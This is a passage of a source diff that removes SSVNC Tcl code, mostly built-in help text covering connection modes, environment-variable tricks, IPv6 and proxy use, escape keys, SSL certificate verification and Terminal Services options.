- HOME=/path/to/dir in the Host:Display box and clicking "Connect".
-
- For a Windows BAT file to get the "Home" directory correct
- something like this might be needed:
-
- cd \ssvnc\Windows
- start \ssvnc\Windows\ssvnc.exe
-
- 7) In the VNC Host:Display entry you can also use these "URL-like"
- prefixes:
-
- vncs://host:0, vncssl://host:0, vnc+ssl://host:0 for SSL
-
- and
-
- vncssh://host:0, vnc+ssh://host:0 for SSH
-
- There is no need to toggle the SSL/SSH setting. These also work
- from the command line, e.g.: ssvnc vnc+ssh://mymachine:10
-
- 8) If you want this application to be SSH only, then supply the
- command line option "-ssh" or set the env. var SSVNC_SSH_ONLY=1.
-
- Then no GUI elements specific to SSL will appear (the
- documentation wills still refer to the SSL mode, however).
- To convert a running app to ssh-only select "Mode: SSH-Only"
- in Options.
-
- The wrapper scripts "sshvnc" and "sshvnc.bat" will start it up
- automatically this way.
-
- Or in your ~/.ssvncrc (or ~/ssvnc_rc on Windows) put "mode=sshvnc"
- to have the tool always start up in that mode.
-
- 9) For an even simpler "Terminal Services" mode use "tsvnc" or
- "tsvnc.bat" (or "-ts" option). This mode automatically launches
- x11vnc on the remote side to find or create your Desktop session
- (usually the Xvfb X server). So x11vnc must be available on the
- remote server machines under "Terminal Services" mode.
-
- From a full ssvnc you can press Ctrl-h to go into ssh-only mode
- and Ctrl-t to toggle between "tsvnc" and "ssvnc" modes. The
- Options Mode menu also let you switch.
-
- Or in your ~/.ssvncrc (or ~/ssvnc_rc on Windows) put "mode=tsvnc"
- to have the tool always start up in that mode.
-
- 10) On Unix to get a 2nd GUI (e.g. for a 2nd connection) press Ctrl-N
- on the GUI. If only the xterm window is visible you can press
- Ctrl-N or try Ctrl-LeftButton -> New SSVNC_GUI. On Windows you
- will have to manually Start a new one: Start -> Run ..., etc.
-
- 11) Pressing the "Load" button or pressing Ctrl-L or Clicking the Right
- mouse button on the main GUI will invoke the Load dialog.
-
- Pressing Ctrl-O on the main GUI will bring up the Options Panel.
- Pressing Ctrl-A on the main GUI will bring up the Advanced Options.
-
- 12) If you use "SHELL" for the "Remote SSH Command" (or in the display
- line: "user@hostname cmd=SHELL") then you get an SSH shell only:
- no VNC viewer will be launched. On Windows "PUTTY" will try
- to use putty.exe (better terminal emulation than plink.exe).
-
- A ShortCut for this is Ctrl-S with user@hostname in the entry box.
-
- 13) If you use "KNOCK" for the "Remote SSH Command" (or in the display
- line "user@hostname cmd=KNOCK") then only the port-knocking is done.
-
- A ShortCut for this is Ctrl-P with hostname the entry box.
-
- If it is KNOCKF, i.e. an extra "F", then the port-knocking
- "FINISH" sequence is sent, if any. A ShortCut for this
- Shift-Ctrl-P as long as hostname is present.
-
- 14) On Unix to have SSVNC act as a general STUNNEL redirector (i.e. no
- VNC), put the desired host:port in VNC Host:Display (use a
- negative port value if it is to be less than 200), then go to
- Options -> Advanced -> Change VNC Viewer. Change the "viewer"
- command to be "xmessage OK" or "xmessage <port>" (or sleep) where
- port is the desired local listening port. Then click Connect.
- If you didn't set the local port look for it in the terminal output.
-
- On Windows set 'viewer' to "NOTEPAD" or similar; you can't
- control the port though. It is usually 5930, 5931, ... Watch
- the messages or look at the stunnel log.
-
- 15) Tricks with environment variables:
-
- You can change the X DISPLAY variable by typing DISPLAY=... into
- VNC Host:Display and hitting Return or clicking Connect. Same
- for HOME=. On Mac, you can set DYLD_LIBRARY_PATH=... too.
- It should propagate down the viewer.
-
- Setting SLEEP=n increases the amount of time waited before
- starting the viewer. The env. var. SSVNC_EXTRA_SLEEP also does
- this (and also Sleep: Option setting) Setting FINISH=n sets the
- amount of time slept before the Terminal window exits on Unix
- and MacOS X. (same as SSVNC_FINISH_SLEEP env. var.)
-
- Full list of parameters HOME/SSVNC_HOME, DISPLAY/SSVNC_DISPLAY
- DYLD_LIBRARY_PATH/SSVNC_DYLD_LIBRARY_PATH, SLEEP/SSVNC_EXTRA_SLEEP
- FINISH/SSVNC_FINISH_SLEEP, DEBUG_NETSTAT, REPEATER_FORCE,
- SSH_ONLY, TS_ONLY, NO_DELETE, BAT_SLEEP, IPV6/SSVNC_IPV6=0 or 1.
- See below for more info. (the ones joined by "/" are equivalent
- names, and the latter can be set as an env. var. as well.)
-
- After you set the parameter, clear out the 'VNC Host:Display'
- entry and replace it with the actual host and display number.
-
- To replace the xterm terminal where most of the external commands
- are run set SSVNC_XTERM_REPLACEMENT to a command that will run
- a command in a terminal. I.e.: "$SSVNC_XTERM_REPLACEMENT cmd"
- will run cmd. If present, %GEOMETRY is expanded to a desired
- +X+Y geometry. If present, %TITLE is expanded to a desired title.
- Examples: SSVNC_XTERM_REPLACEMENT='gnome-terminal -e'
- SSVNC_XTERM_REPLACEMENT='gnome-terminal -t "%TITLE" -e'
- SSVNC_XTERM_REPLACEMENT='konsole -e'
-
- More info: EXTRA_SLEEP: seconds of extra sleep in scripts;
- FINISH_SLEEP: final extra sleep at end; DEBUG_NETSTAT put up a
- window showing what netstat reports; NO_DELETE: do not delete tmp
- bat files on Windows (for debugging); BAT_SLEEP: sleep this many
- seconds at the end of each Windows bat file (for debugging.)
-
- You can also set any environment variable by entering in something
- like ENV=VAR=VAL e.g. ENV=SSH_AUTH_SOCK=/tmp/ssh-BF2297/agent.2297
- Use an empty VAL to unset the variable.
-
- There are also a HUGE number of env. vars. that apply to the Unix
- and MacOS X wrapper script 'ss_vncviewer' and/or the ssvncviewer
- binary. See Options -> Advanced -> Unix ssvncviewer -> Help for
- all of them.
-
- 16) On Unix you can make the "Open File" and "Save File" dialogs
- bigger by setting the env. var. SSVNC_BIGGER_DIALOG=1 or
- supplying the -bigger option. If you set it to a Width x Height,
- e.g. SSVNC_BIGGER_DIALOG=500x200, that size will be used.
-
- 17) On Unix / MacOSX to enable debug output you can set these env.
- vars to 1: SSVNC_STUNNEL_DEBUG, SSVNC_VENCRYPT_DEBUG, and
- SS_DEBUG (very verbose)
-
- 18) Dynamic VNC Server Port determination and redirection: If you
- are running SSVNC on Unix and are using SSH to start the remote
- VNC server and the VNC server prints out the line "PORT=NNNN"
- to indicate which dynamic port it is using (x11vnc does this),
- then if you prefix the SSH command with "PORT=" SSVNC will watch
- for the PORT=NNNN line and uses ssh's built in SOCKS proxy
- (ssh -D ...) to connect to the dynamic VNC server port through
- the SSH tunnel. For example:
-
- VNC Host:Display user@somehost.com
- Remote SSH Command: PORT= x11vnc -find -nopw
-
- or "PORT= x11vnc -display :0 -localhost", etc. Or use "P= ..."
-
- There is also code to detect the display of the regular Unix
- vncserver(1). It extracts the display (and hence port) from
- the lines "New 'X' desktop is hostname:4" and also
- "VNC server is already running as :4". So you can use
- something like:
-
- PORT= vncserver; sleep 15
- or: PORT= vncserver :4; sleep 15
-
- the latter is preferred because when you reconnect with it will
- find the already running one. The former one will keep creating
- new X sessions if called repeatedly.
-
- On Windows if PORT= is supplied SOCKS proxying is not used, but
- rather a high, random value of the VNC port is chosen (e.g. 8453)
- and assumed to be free, and is passed to x11vnc's -rfbport option.
- This only works with x11vnc (not vncserver).
-
- 19) On Unix if you are going to an older SSH server (e.g. Solaris 10),
- you will probably need to set the env. var. SS_VNCVIEWER_NO_T=1
- to disable the ssh "-t" option being used (that can prevent the
- command from being run).
-
- 20) SSVNC is basically a wrapper for the stunnel and ssh programs,
- and because those two programs have good IPv6 support SSVNC will
- for most usage modes support it as well. IPv6 is 128 bit internet
- addresses (as opposed to IPv4 with its 32 bit xxx.yyy.zzz.nnn IPs.
-
- So for basic SSL and SSH connections if you type in an IPv6 IP
- address, e.g. '2001:4860:b009::68', or a hostname with only an
- IPv6 lookup, e.g. ipv6.l.google.com, the connection will work
- because stunnel and ssh handle these properly.
-
- Note that you often need to supply a display number or port after
- the address so put it, e.g. ':0' at the end: 2001:4860:b009::68:0
- You can also use the standard notation [2001:4860:b009::68]:0
- that is more clear. You MUST specify the display if you use
- the IPv6 address notation (but :0 is still the default for a
- non-numeric hostname string.)
-
- IPv4 addresses encoded in IPv6 notation also work, e.g.
- ::ffff:192.168.1.100 should work for the most part.
-
- SSVNC on Unix and MacOSX also has its own Proxy helper tool
- (pproxy) This script has been modified to handle IPv6 hostnames
- and addresses as long as the IO::Socket::INET6 Perl module
- is available. On Windows the relay6.exe tool is used.
-
- So for the most part IPv6 should work without you having to do
- anything special. However, for rare usage, the proxy helper tool
- can also treat and IPv6 address as a special sort of 'proxy'.
- So in the entry Proxy/Gateway you can include ipv6://host:port
- and the IPv6 host will simply be connected to and the data
- transferred. In this usage mode, set the VNC Host:Display
- to anything, e.g. 'localhost:0'; it is ignored if the ipv6://
- endpoint is specified as a proxy. Need for ipv6:// usage proxy
- should be rare.
-
- Note that for link local (not global) IPv6 addresses you may
- need to include the network interface at the end of the address,
- e.g. fe80::a00:20ff:fefd:53d4%eth0
-
- Note that one can use a 3rd party VNC Viewer with SSVNC (see
- Options -> Advanced -> Change VNC Viewer.) IPv6 will work for
- them as well even if they do not support IPv6.
-
- IPv6 support on Unix, MacOSX, and Windows is essentially complete
- for all types of connections (including proxied, unencrypted and
- reverse connections.) Let us know if you find a scenario that
- does not work (see the known exception for putty/plink below.)
-
- You can set ipv6=0 in your ssvncrc, then no special relaying for
- IPv6 will be done (do this if there are problems or slowness in
- trying to relay ipv6 and you know you will not connect to any
- such hosts.) Set ipv6=1 to force the special processing even if
- IPv6 was not autodetected. To change this dynamically, you also
- enter IPV6=... in the VNC Host:Display entry box and press Enter.
- Also on Unix or MacOSX you can set the env. var. SSVNC_IPV6=0
- to disable the wrapper script from checking if hosts have ipv6
- addresses (this is the same as setting ipv6=0 in ssvncrc or by
- the setting ipv6 in the Entry box.)
-
- On Windows plink.exe (SSH client) currently doesn't work for
- IPv6 address strings (e.g. 2001:4860:b009::68) but it does work
- for hostname strings that resolve to IPv6 addresses.
-
- Note that one can make a home-brew SOCKS5 ipv4-to-ipv6 gateway
- proxy using ssh like this:
-
- ssh -D '*:1080' localhost "printf 'Press Enter to Exit: '; read x"
-
- then specify a proxy like socks5://hostname:1080 where hostname
- is the machine running the above ssh command. Add '-v' to the
- ssh cmdline for verbose output. See also the x11vnc inet6to4 tool
- (a direct ipv4/6 relay, not socks.)
-}
-
- global version
- set help_main " SSVNC version: $version\n$help_main"
- set help_misc " SSVNC version: $version\n$help_misc"
- set help_prox " SSVNC version: $version\n$help_prox"
- set help_tips " SSVNC version: $version\n$help_tips"
-
- frame .h.w
- button .h.w.b1 -text "Main" -command {help_text main}
- button .h.w.b2 -text "Proxies" -command {help_text prox}
- button .h.w.b3 -text "Misc" -command {help_text misc}
- button .h.w.b4 -text "Tips" -command {help_text tips}
-
- pack .h.w.b1 .h.w.b2 .h.w.b3 .h.w.b4 -side left -fill x -expand 1
-
- pack .h.w -side bottom -after .h.d -fill x
-
- .h.f.t insert end $help_main
- jiggle_text .h.f.t
-}
-
-proc help_text {which} {
- global help_main help_misc help_prox help_tips
- set txt ""
- if {$which == "main"} {
- set txt $help_main
- }
- if {$which == "misc"} {
- set txt $help_misc
- }
- if {$which == "prox"} {
- set txt $help_prox
- }
- if {$which == "tips"} {
- set txt $help_tips
- }
- catch {.h.f.t delete 0.0 end; .h.f.t insert end $txt; jiggle_text .h.f.t}
-}
-
-proc ssvnc_escape_help {} {
- toplev .ekh
-
- scroll_text_dismiss .ekh.f
-
- center_win .ekh
- wm title .ekh "SSVNC Escape Keys Help"
-
- set msg {
- SSVNC Escape Keys:
-
- The Unix SSVNC VNC Viewer, ssvncviewer(1), has an 'Escape Keys'
- mechanism that enables using keystrokes that are bound as 'Hot Keys'
- to specific actions.
-
- So, when you have all of the modifier keys ('escape keys') pressed down,
- then subsequent keystrokes are interpreted as local special actions
- instead of being sent to the remote VNC server.
-
- This enables quick parameter changing and also panning of the viewport.
- E.g. the keystroke 'r' is mapped to refresh the screen.
-
- Enter 'default' in the entry box to enable this feature and to use the
- default modifier list (Alt_L,Super_L on unix and Control_L,Meta_L on
- macosx) or set it to a list of modifier keys, e.g. Alt_L,Control_L.
- Note that _L means left side of keyboard and _R means right side.
-
- Alt_L is the 'Alt' key on the left side of the keyboard, and Super_L
- is usually the 'WindowsFlaggie(TM)' on the left side of the keyboard,
- so when both of those are pressed, the escape keys mapping take effect.
-
-
- Here is info from the ssvncviewer(1) manual page:
-
- -escape str This sets the 'Escape Keys' modifier sequence and enables
- escape keys mode. When the modifier keys escape sequence
- is held down, the next keystroke is interpreted locally
- to perform a special action instead of being sent to the
- remote VNC server.
-
- Use '-escape default' for the default modifier sequence.
- (Unix: Alt_L,Super_L and MacOSX: Control_L,Meta_L)
-
- Here are the 'Escape Keys: Help+Set' instructions from the Popup Menu:
-
- Escape Keys: Enter a comma separated list of modifier keys to be the
- 'escape sequence'. When these keys are held down, the next keystroke is
- interpreted locally to invoke a special action instead of being sent to
- the remote VNC server. In other words, a set of 'Hot Keys'.
-
- To enable or disable this, click on 'Escape Keys: Toggle' in the Popup.
-
- Here is the list of hot-key mappings to special actions:
-
- r: refresh desktop b: toggle bell c: toggle full-color
- f: file transfer x: x11cursor z: toggle Tight/ZRLE
- l: full screen g: graball e: escape keys dialog
- s: scale dialog +: scale up (=) -: scale down (_)
- t: text chat a: alphablend cursor
- V: toggle viewonly Q: quit viewer 1 2 3 4 5 6: UltraVNC scale 1/n
-
- Arrow keys: pan the viewport about 10% for each keypress.
- PageUp / PageDown: pan the viewport by a screenful vertically.
- Home / End: pan the viewport by a screenful horizontally.
- KeyPad Arrow keys: pan the viewport by 1 pixel for each keypress.
- Dragging the Mouse with Button1 pressed also pans the viewport.
- Clicking Mouse Button3 brings up the Popup Menu.
-
- The above mappings are *always* active in ViewOnly mode, unless you set the
- Escape Keys value to 'never'.
-
- If the Escape Keys value below is set to 'default' then a default list of
- of modifier keys is used. For Unix it is: Alt_L,Super_L and for MacOSX it
- is Control_L,Meta_L. Note: the Super_L key usually has a Windows(TM) Flag
- on it. Also note the _L and _R mean the key is on the LEFT or RIGHT side
- of the keyboard.
-
- On Unix the default is Alt and Windows keys on Left side of keyboard.
- On MacOSX the default is Control and Command keys on Left side of keyboard.
-
- Example: Press and hold the Alt and Windows keys on the LEFT side of the
- keyboard and then press 'c' to toggle the full-color state. Or press 't'
- to toggle the ultravnc Text Chat window, etc.
-
- To use something besides the default, supply a comma separated list (or a
- single one) from: Shift_L Shift_R Control_L Control_R Alt_L Alt_R Meta_L
- Meta_R Super_L Super_R Hyper_L Hyper_R or Mode_switch.
-}
-
- .ekh.f.t insert end $msg
- jiggle_text .ekh.f.t
-}
-
-# Or Alternatively one can supply both hosts separated by
-# spaces (with the proxy second) in the VNC Host:Display box:
-#
-# VNC Host-Display: far-away.east:0 theproxy.net:8080
-#
-# This looks a little strange, but it actually how SSVNC stores the
-# host info internally.
-
-# You can also specify the remote SSH command by putting a string like
-#
-# cmd=x11vnc -nopw -display :0 -rfbport 5900 -localhost
-#
-# (use any command you wish to run) at the END of the VNC Host:Display
-# entry. In general, you can cram it all in the VNC Host:Display if
-# you like: host:disp proxy:port cmd=... (this is the way it is
-# stored internally).
-
-proc help_certs {} {
- toplev .ch
-
- set h 33
- if [small_height] {
- set h 28
- }
- scroll_text_dismiss .ch.f 87 $h
-
- center_win .ch
- wm resizable .ch 1 0
-
- wm title .ch "SSL Certificates Help"
-
- set msg {
- Description:
-
- *** IMPORTANT ***: Only with SSL Certificate verification (either manually
- or via a Certificate Authority certificate) can Man-In-The-Middle attacks be
- prevented. Otherwise, only passive network sniffing attacks are prevented.
- There are hacker tools like dsniff/webmitm and cain that implement SSL
- Man-In-The-Middle attacks. They rely on the client user not bothering to
- check the cert.
-
- Some people may be confused by the above because they are familiar with
- their Web Browser using SSL (i.e. https://... websites) and those sites
- are authenticated securely without the user's need to verify anything
- manually. The reason why this happens automatically is because 1) their
- web browser comes with a bundle of Certificate Authority certificates
- and 2) the https sites have paid money to the Certificate Authorities to
- have their website certificate signed by them. When using SSL in VNC we
- normally do not do something this sophisticated, and so we have to verify
- the certificates manually. However, it is possible to use Certificate
- Authorities with SSVNC; that method is described below.
-
- The SSL Certificate files described below may have been created externally
- (e.g. by x11vnc or openssl): you can import them via "Import Certificate".
- OR you can click on "Create Certificate ..." to use THIS program to generate
- a Certificate + Private Key pair for you (in this case you will need to
- distribute one of the generated files to the VNC Server).
-
- Then you associate the Saved cert with the VNC server, see the panel entry
- box description below. Then click Connect. You will usually want to Save
- this association in a VNC Server profile for the next time you connect.
-
- Expiration:
-
- SSL Certificates will Expire after a certain period (usually 1-2 years;
- if you create a cert with this tool you can set it to any length you want).
- So if for a particular Cert you find you can no longer connect, check the
- STUNNEL log output to see if the cert has expired. Then create and distribute
- a new one.
-
- Fetch Cert:
-
- You can also retrieve and view the VNC Server's Cert via the "Fetch Cert"
- button on the main panel. After you check that it is the correct Cert (e.g. by
- comparing MD5 hash or other info), you can save it. The file it was saved
- as will be set as the "ServerCert" to verify against for the next connection.
- To make this verification check permanent, you will need to save the profile
- via 'Save'.
-
- NOTE: See the CA section below for how "Fetch Cert/Verify All Certs" WILL NOT
- WORK when a Certificate Authority (CA) is used (i.e. you need to save the CA's
- cert instead.) It will work if the certificate is Self-Signed.
-
- Verify All Certs:
-
- If "Verify All Certs" is checked on the main panel, you are always forced
- to check unrecognized server certs, and so the first time you connect to
- a new server you may need to follow a few dialogs to inspect and save the
- server certificate.
-
- Under "Verify All Certs", new certificates are saved in the 'Accepted Certs'
- directory. When the checkbox is set all host profiles with "CertsDir" set to
- "ACCEPTED_CERTS" (and an empty "ServerCert" setting) will be checked against
- the pool of accepted certificates in the 'Accepted Certs' directory.
-
- Note that we have "Verify All Certs" on by default so that users who do not
- understand the SSL Man-In-The-Middle problem will not be left completely
- vulnerable to it. Everyone still must make the effort to verify new
- certificates by an external method to be completely safe.
-
- To have "Verify All Certs" toggled off at startup, use "ssvnc -nv" or set
- SSVNC_NO_VERIFY_ALL=1 before starting. If you do not even want to see the
- button, use "ssvnc -nvb" or SSVNC_NO_VERIFY_ALL_BUTTON=1.
-
- Note: "Fetch Cert" and "Verify All Certs" are currently not implemented in
- "SSH + SSL" mode. In this case to have server authentication "ServerCert"
- must be set explicitly to a file (or "CertsDir" to a directory).
-
- Also note that "Fetch Cert" only works in a limited fashion in "Listen"
- mode (it is the VNC Server that initiates the connection), and so you
- may need to be set via "ServerCert" as well.
-
- NOTE: See the CA section below for how "Fetch Cert/Verify All Certs"
- WILL NOT WORK when a Certificate Authority (CA) is used (i.e. you need
- to save the CA's cert instead.) The "Fetch Cert" saving method will
- work if the certificate is Self-Signed.
-
- CA:
-
- One can make SSL VNC server authentication more "automatic" as it is in
- Web Browsers going to HTTPS sites, by using a Certificate Authority (CA)
- cert (e.g. a professional one like Verisign or Thawte, or one your company
- or organization creates) for the "ServerCert". This is described in detail
- here: http://www.karlrunge.com/x11vnc/ssl.html
-
- CA's are not often used, but if the number of VNC Servers scales up it can
- be very convenient because the viewers (i.e. SSVNC) only need the CA cert,
- not all of the Server certs.
-
- IMPORTANT NOTE: if a VNC Server is using a CA signed certificate instead
- of its own Self-Signed one, then "Fetch Cert", etc. saving mechanism
- WILL NOT WORK. You must obtain the CA certificate and explicitly set
- it as the ServerCert or import it to 'Accepted Certs'.
-
-
- Now what goes into the panel's entry boxes is described.
-
-
- Your Certificate + Key (MyCert):
-
- You can specify YOUR own SSL certificate (PEM) file in "MyCert" in which
- case it is used to authenticate YOU (the viewer) to the remote VNC Server.
- If this fails the remote VNC Server will drop the connection.
-
- So the Server could use this method to authenticate Viewers instead of the
- more common practice of using a VNC password or x11vnc's -unixpw mode.
-
-
- Server Certificates (ServerCert/CertsDir):
-
- Server certs can be specified in one of two ways:
-
- - A single certificate (PEM) file for a single server
- or a single Certificate Authority (CA)
-
- - A directory of certificate (PEM) files stored in
- the special OpenSSL hash fashion.
-
- The former is set via "ServerCert" in this gui.
- The latter is set via "CertsDir" in this gui.
-
- The former corresponds to the "CAfile" STUNNEL parameter.
- The latter corresponds to the "CApath" STUNNEL parameter.
-
- See stunnel(8) or stunnel.mirt.net for more information.
-
- If the remote VNC Server fails to authenticate itself with respect to the
- specified certificate(s), then the VNC Viewer (your side) will drop the
- connection.
-
- Select which file or directory by clicking on the appropriate "Browse..."
- button. Once selected, if you click Info or the Right Mouse button on
- "Browse..." then information about the certificate will be displayed.
-
- If, as is the default, "CertsDir" is set to the token "ACCEPTED_CERTS"
- (and "ServerCert" is unset) then the certificates accumulated in the special
- 'Accepted Certs' directory will be used. "ACCEPTED_CERTS" is the default for
- every server ("Verify All Certs"). Note that if you ever need to clean this
- directory, each cert is saved in two files, for example:
-
- hostname-0=bf-d0-d6-9c-68-5a-fe-24-c6-60-ba-b4-14-e6-66-14.crt
- and
- 9eb7c8be.0
-
- This is because of the way OpenSSL must use hash-based filenames in Cert dirs.
- The file will have a "full filename:" line indicating the fingerprint and
- hostname associated with it. Be sure to remove both files. The Delete Certs
- dialog should automatically find the matching one for you and prompt you to
- remove it as well.
-
- Certificate Revocation List (CRL File):
-
- For large scale deployments, usually involving a CA Cert, it is worthwhile
- to be able to revoke individual certs (so that a new CA cert does not need to
- be created and new keys distributed). Set CRL File to the path to the
- file containing the revoked certificates (or a directory containing
- OpenSSL style hash-based filenames.) See the x11vnc -sslCRL documentation
- for how to create CRL's. In short, the commands 'openssl ca -revoke ...'
- and 'openssl ca -gencrl ...' are the ones to look for; See the ca(1) manpage.
-
- Create Certificate:
-
- A simple dialog to create a Self-Signed Certificate. See the x11vnc
- -sslGenCA, -sslGenCert options for creating a CA Cert and signing with it.
-
- Import Certificate:
-
- You can paste in a Certificate or read one in from a file to add to your
- list of Server Certificates. If (also) saved in the 'Accepted Certs'
- directory, it will be automatically used to verify any Server when in
- 'Verify All Certs' Mode.
-
- Deleting Certificates:
-
- To delete a Certificate+private_key pair click on "Delete Certificate"
- and select one in the menu. You will be prompted to remove it,
- and also any corresponding .pem or .crt file. For "ACCEPTED_CERTS"
- it will find the matching "HASH" file and prompt you to remove that too.
-
-
- Default Certs and Keys:
-
- Use the "-mycert file" option (same as "-cert file") to set a default
- MyCert. The user will then have to manually clear the field to not
- use a certificate. This is the same as "mycert=file" (also "cert=file")
- in the ~/.ssvncrc file. If "file" does not exist, then ~/.vnc/certs is
- prepended to it.
-
- Use the "-cacert file" option (same as "-ca file") to set a default
- ServerCert. The user will then have to manually clear the field to not
- set a server cert. This is the same as "cacert=file" (also "ca=file")
- in the ~/.ssvncrc file. If "file" does not exist, then ~/.vnc/certs is
- prepended to it. Use "-cacert CA" to set it to ~/.vnc/certs/CA/cacert.pem
-
- Use the "-crl file" option to set a default CRL File. The user will
- then have to manually clear the field to not use a CRL. This is the
- same as "crl=file" in the ~/.ssvncrc file. If "file" does not exist,
- then ~/.vnc/certs is prepended to it.
-
- A sys-admin might set up an SSVNC deployment for user's workstations or
- laptops using one or more of -cacert (authenticate VNC server to the
- user) or -mycert (authenticate user to VNC server) or -crl (supply a
- list of revoked certificates). Prefix either one with "FORCE:" to make
- the setting unchangable.
-
-
- Notes:
-
- If "Use SSH" has been selected then SSL certs are disabled.
-
- See the x11vnc and STUNNEL documentation for how to create and use PEM
- certificate files:
-
- http://www.karlrunge.com/x11vnc/faq.html#faq-ssl-tunnel-ext
- http://www.karlrunge.com/x11vnc/ssl.html
- http://stunnel.mirt.net
-
- A common way to create and use a VNC Server certificate is:
-
- x11vnc -ssl SAVE ...
-
- and then copy the Server certificate to the local (viewer-side) machine.
- x11vnc prints out to the screen the Server certificate it generates
- (stored in ~/.vnc/certs/server.crt). You can set "ServerCert" to it
- directly or use the "Import Certificate" action to save it to a file.
- Or use the "Fetch Cert" method to retrieve it (be sure to verify the
- MD5 fingerprint, etc).
-
- x11vnc also has command line utilities to create server, client, and CA
- (Certificate Authority) certificates and sign with it. See the above URLs.
-}
-
- .ch.f.t insert end $msg
- jiggle_text .ch.f.t
-}
-
-proc help_ts_opts {} {
- toplev .oh
-
- scroll_text_dismiss .oh.f
-
- center_win .oh
-
- wm title .oh "Terminal Services VNC Options Help"
-
-set msg {
- Options: Click on a checkbox to enable a feature and bring up its Dialog.
- Deselecting a checkbox will disable the feature (but settings from the
- Dialog are remembered). Click on it again to re-enable.
-
-
- Desktop Type:
-
- The default type of remote Desktop type is the "kde" (The K Desktop
- Environment) You can choose a different type: gnome, failsafe,
- twm, etc.
-
- This setting will ONLY be used if the desktop needs to be created.
- If an existing session of yours is found it will be used instead
- (log out of that session if you want to create a new Desktop type
- or see the Multiple Sessions option under Advanced).
-
- Desktop Size:
-
- The default size of remote Desktop type is the "1280x1024" with a
- Color depth of 16 bits per pixel (BPP). Choose one of the standard
- WxH values or enter a custom one (TBD).
-
- This setting will ONLY be used if the desktop needs to be created.
- If an existing session of yours is found it will be used instead
- (log out of that session if you want to create a new Desktop size
- or see the Multiple Sessions option under Advanced).
-
- Some X servers, Xdummy or a real X server, will allow dynamic screen
- size changing after the session has started via a GUI configuration
- tool (or xrandr(1) from the command line).
-
- X Server Type:
-
- The default type of remote X session is the "Xvfb" (X virtual frame
- buffer) X server. It is available on most systems. To choose a
- different type, select "Xdummy", "Xvnc", "Xvnc.redirect".
-
- Xdummy is part of the x11vnc project and is a virtual X server with
- some nice features, but it Linux only and requires root permission
- to run. One user put 'ALL ALL = NOPASSWD: /usr/local/bin/Xdummy*'
- in his sudo(1) configuration (via visudo).
-
- For Xvnc that server is started up, and x11vnc polls it in its
- normal way. Use Xvnc.redirect if you want x11vnc to find and/or
- create the Xvnc session, but after that merely transfer packets back
- and forth between VNC viewer and Xvnc (I.e. x11vnc does no polling
- or VNC protocol).
-
-
- Enable Printing:
-
- This sets up a SSH port redirection for you from your remote session
- to your local print server. The CUPS mechanism is used. The local
- print server can also be SMB/Windows.
-
- Enable Sound:
-
- Not completely implemented yet. A partially working ESD method
- is provided. It may change over to http://nas.sourceforge.net in
- the future. As with printing, it uses a SSH port redirection to a
- server running locally.
-
- File Transfer:
-
- x11vnc supports both the UltraVNC and TightVNC file transfer
- extensions. On Windows both viewers support their file transfer
- protocol. On Unix only the SSVNC VNC Viewer has filexfer support;
- it supports the UltraVNC flavor via a Java helper program.
-
- Choose the one you want based on VNC viewer you will use.
- The defaults for the SSVNC viewer package are TightVNC on Windows
- and UltraVNC on Unix.
-
- View Only:
-
- Start the VNC Viewer in View-Only mode (it may be switched to full
- access later in the session).
-
- Change VNC Viewer:
-
- If you do not like the VNC Viewer bundled in the package, you can
- indicate another one here.
-
- X11 viewer MacOSX:
-
- On MacOSX try to use the bundled X11 vncviewer instead of the
- Chicken of the VNC viewer; the Xquartz X server must be installed
- (it is by default on 10.5.x) and the DISPLAY variable must be set
- (see Tip 15 of SSVNC Help to do this manually.)
-
-
- Advanced Options:
-
- VNC Shared:
-
- Normal use of this program, 'tsvnc', *ALREADY* allows simultaneous
- shared access of the remote desktop: You simply log in as many
- times from as many different locations with 'tsvnc' as you like.
-
- Select this option for the traditional VNC server shared mode of
- operation using a single x11vnc server. SSH access is still required.
-
- Multiple Sessions:
-
- To enable one user to have more than one Terminal Services Desktop
- X session on a single machine, this option lets you create Tags for
- multiple ones (e.g. KDE_BIG, TWM_800x600)
-
- X Login Greeter:
-
- If you have root (sudo(1)) permission on the remote machine,
- you can have x11vnc try to connect to X displays that have nobody
- logged in yet. This is most likely the login greeter running on
- the Physical console. sudo(1) is used to run x11vnc with FD_XDM=1.
-
- An initial ssh running 'sudo id' is performed to try to 'prime'
- sudo so the 2nd one that starts x11vnc does not need a password.
-
- Note that if someone is already logged into the console of the XDM
- display you will see their X session.
-
- Other VNC Server:
-
- The x11vnc program running on the remote machine can be instructed to
- immediately redirect to some other (3rd party, e.g. Xvnc or vnc.so)
- VNC server.
-
- Use unixpw:
-
- This enables the x11vnc unixpw mode. A Login: and Password: dialog
- will be presented in the VNC Viewer for the user to provide any Unix
- username and password whose session he wants to connect to.
-
- This mode is useful if a shared terminal services user (e.g. 'tsuser')
- is used for the SSH login part (say via the SSH authorized_keys
- mechanism and all users share the same private SSH key for 'tsuser').
-
- In normal usage the per-user SSH login should be the simplest and
- sufficient, in which case the unixpw option should NOT be selected.
-
- Client 8bit Color:
-
- Have the VNC Viewer request low color mode (8 bits per pixel) for
- slow links. This may be disabled or further tuned (e.g. 64 color
- mode) in the viewer during the session.
-
- Client-Side Caching:
-
- x11vnc has an experiment Client-Side caching scheme "-ncache n"
- that can give nice speedups. But there are some drawbacks
- because the cache-region is visible and uses much RAM.
- http://www.karlrunge.com/x11vnc/faq.html#faq-client-caching
-
- X11VNC Options:
-
- If you are familiar with x11vnc, you can specify any of its features
- that you would like enabled.
-
- SSVNC Mode:
-
- Clicking on this button will return you to the full SSVNC Mode.
-
- Unix ssvncviewer:
-
- Clicking on this button will popup a menu for setting options
- of the Unix (and Mac OS X) provided SSVNC vncviewer.
-
-
- ~/.ssvncrc file:
-
- You can put global options in your ~/.ssvncrc file (ssvnc_rc on
- Windows). Currently they are:
-
- Put "mode=tsvnc" or "mode=sshvnc" in the ~/.ssvncrc file to have
- the application start up in the given mode.
-
- desktop_type=wmaker (e.g.) to switch the default Desktop Type.
-
- desktop_size=1280x1024 (e.g.) to switch the default Desktop Size.
-
- desktop_depth=24 (e.g.) to switch the default Desktop Color Depth.
-
- xserver_type=Xdummy (e.g.) to switch the default X Server Type.
-
- (The above 4 settings apply only to the Terminal Services Mode.)
-
- noenc=1 (same as the -noenc option for a 'No Encryption' option)
- noenc=0 (do not show the 'No Encryption' option)
-
- font_default=tk-font-name (sets the font for menus and buttons)
- font_fixed=tk-font-name (sets the font for help text)
-}
- .oh.f.t insert end $msg
- jiggle_text .oh.f.t
-}
-
-proc help_opts {} {
- toplev .oh
-
- scroll_text_dismiss .oh.f
-
- center_win .oh
-
- wm title .oh "SSL/SSH Viewer Options Help"
-
-set msg {
